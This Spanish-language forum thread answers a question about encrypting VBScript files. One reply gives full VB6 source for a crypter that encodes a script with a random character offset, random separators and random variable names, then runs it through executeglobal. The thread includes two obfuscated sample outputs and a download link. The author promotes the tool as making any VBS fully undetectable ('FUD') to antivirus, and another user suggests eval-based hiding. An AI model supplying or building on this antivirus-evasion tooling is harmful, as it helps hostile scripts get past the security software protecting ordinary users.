Còmo puedo cifrar archivos VBS

(1/2) > >>

Linterna_Blue:
Hola, saludos a todos, me doy la bienvenida  ;D espero aportar al Foro.
Conversando por inbox con un grande, expuse  la duda de còmo cifrar un VBS, por lo tanto aqui va la consulta de modo que quede abierta para las opiniones.

¿Còmo cifrar un .VBS???

Gracias  :D

Mad Antrax:
Hola, Bienvenido al foro.

Hay varias formas de cifrar un VBS. Recientemente he creado un pequeño programa para cifrar cualquier VBS, lo deja "oculto" y completamente FUD a los antivirus:



El programa es MUY sencillo, simplemente poner un TextBox y un botón. En el código del botón escribir:

Código
Private Sub menuC_Click()
   Randomize
   Separator1 = Mid("!|@#$%&=-_", Int(Rnd * 10) + 1, 1)
   Variables1 = Mid("ABCD", Int(Rnd * 4) + 1, 1)
   Variables2 = Mid("WXYZ", Int(Rnd * 4) + 1, 1)
 
   R = Int(Rnd * 10)
 
   For i = 1 To Len(Text1.Text)
       X = X & (Asc(Mid(Text1.Text, i, 1)) - R) & Separator1
   Next i
 
   Open App.Path & "\crypted.vbs" For Output As #1
       Print #1, Variables1 & " = " & Chr(34) & X & Chr(34)
       Print #1, Variables1 & " = split(" & Variables1 & "," & Chr(34) & Separator1 & Chr(34) & ")"
       Print #1, "for i = 0 to ubound(" & Variables1 & ") - 1"
       Print #1, Variables2 & " = " & Variables2 & " & chr(" & Variables1 & "(i)+" & R & ")"
       Print #1, "next"
       Print #1, "executeglobal " & Variables2
   Close #1
   DoEvents
   MsgBox "Encryption completed!" & vbCrLf & vbCrLf & "File saved here: " & App.Path & "\crypted.vbs" & vbCrLf & vbCrLf & "Cryptonumber used: " & R
End Sub
 

El programa puede generar hasta 90 archivos diferentes (si mis cálculos no fallan). En la foto, el código VBS cifrado quedaría así:

Código
D = "32%73%90%108%109%94%25%114%104%110%107%25%79%59%76%25%108%104%110%107%92%94%25%97%94%107%94%25%90%103%93%25%105%107%94%108%108%25%109%97%94%25%91%110%109%109%104%103%39%39%39%6%3%6%3%70%108%96%59%104%113%25%27%62%108%109%104%25%94%108%25%110%103%90%25%105%107%110%94%91%90%25%105%90%107%90%25%94%101%97%90%92%100%94%107%39%103%94%109%27%"
D = split(D,"%")
for i = 0 to ubound(D) - 1
Y = Y & chr(D(i)+7)
next
executeglobal Y

Aunque también podría quedar así:

Código
B = "36|77|94|112|113|98|29|118|108|114|111|29|83|63|80|29|112|108|114|111|96|98|29|101|98|111|98|29|94|107|97|29|109|111|98|112|112|29|113|101|98|29|95|114|113|113|108|107|43|43|43|10|7|10|7|74|112|100|63|108|117|29|31|66|112|113|108|29|98|112|29|114|107|94|29|109|111|114|98|95|94|29|109|94|111|94|29|98|105|101|94|96|104|98|111|43|107|98|113|31|"
B = split(B,"|")
for i = 0 to ubound(B) - 1
X = X & chr(B(i)+3)
next
executeglobal X

Si alguien le interesa mi programa para cifrar, subo el EXE + Source. Saludos!!

https://www.mediafire.com/?xi3iug9bcar5r9z

BlackZeroX:
puedes incrustar alguna funcion en vbs y que el resto del codigo este cifrado y almacenado en una string y solo pasar esta por un eval()...

http://www.w3schools.com/vbscript/func_eval.asp

Dulces Lunas!¡.

Linterna_Blue:
Ey!! muchas gracias por las respuestas... voy quedando mas claro.

Saludos!!!!  :laugh:

Mad Antrax:
https://www.mediafire.com/?xi3iug9bcar5r9z

Aquí tienes mi programa para descargar, está compilado para que lo puedas usar, pero si quieres puedes mirar el source que está incluido en el ZIP.

Con éste programa podrás cifrar un mismo fichero de distintas formas, cada copia será única, con nombres de variables aleatorios, stringencription randon, tamaño del fichero final aleatorio, etc...

Debería dejarte cualquier fichero VBS FUD ante cualquier AV.

Que lo disfrutes! :D

Navegación

[0] Índice de Mensajes

[#] Página Siguiente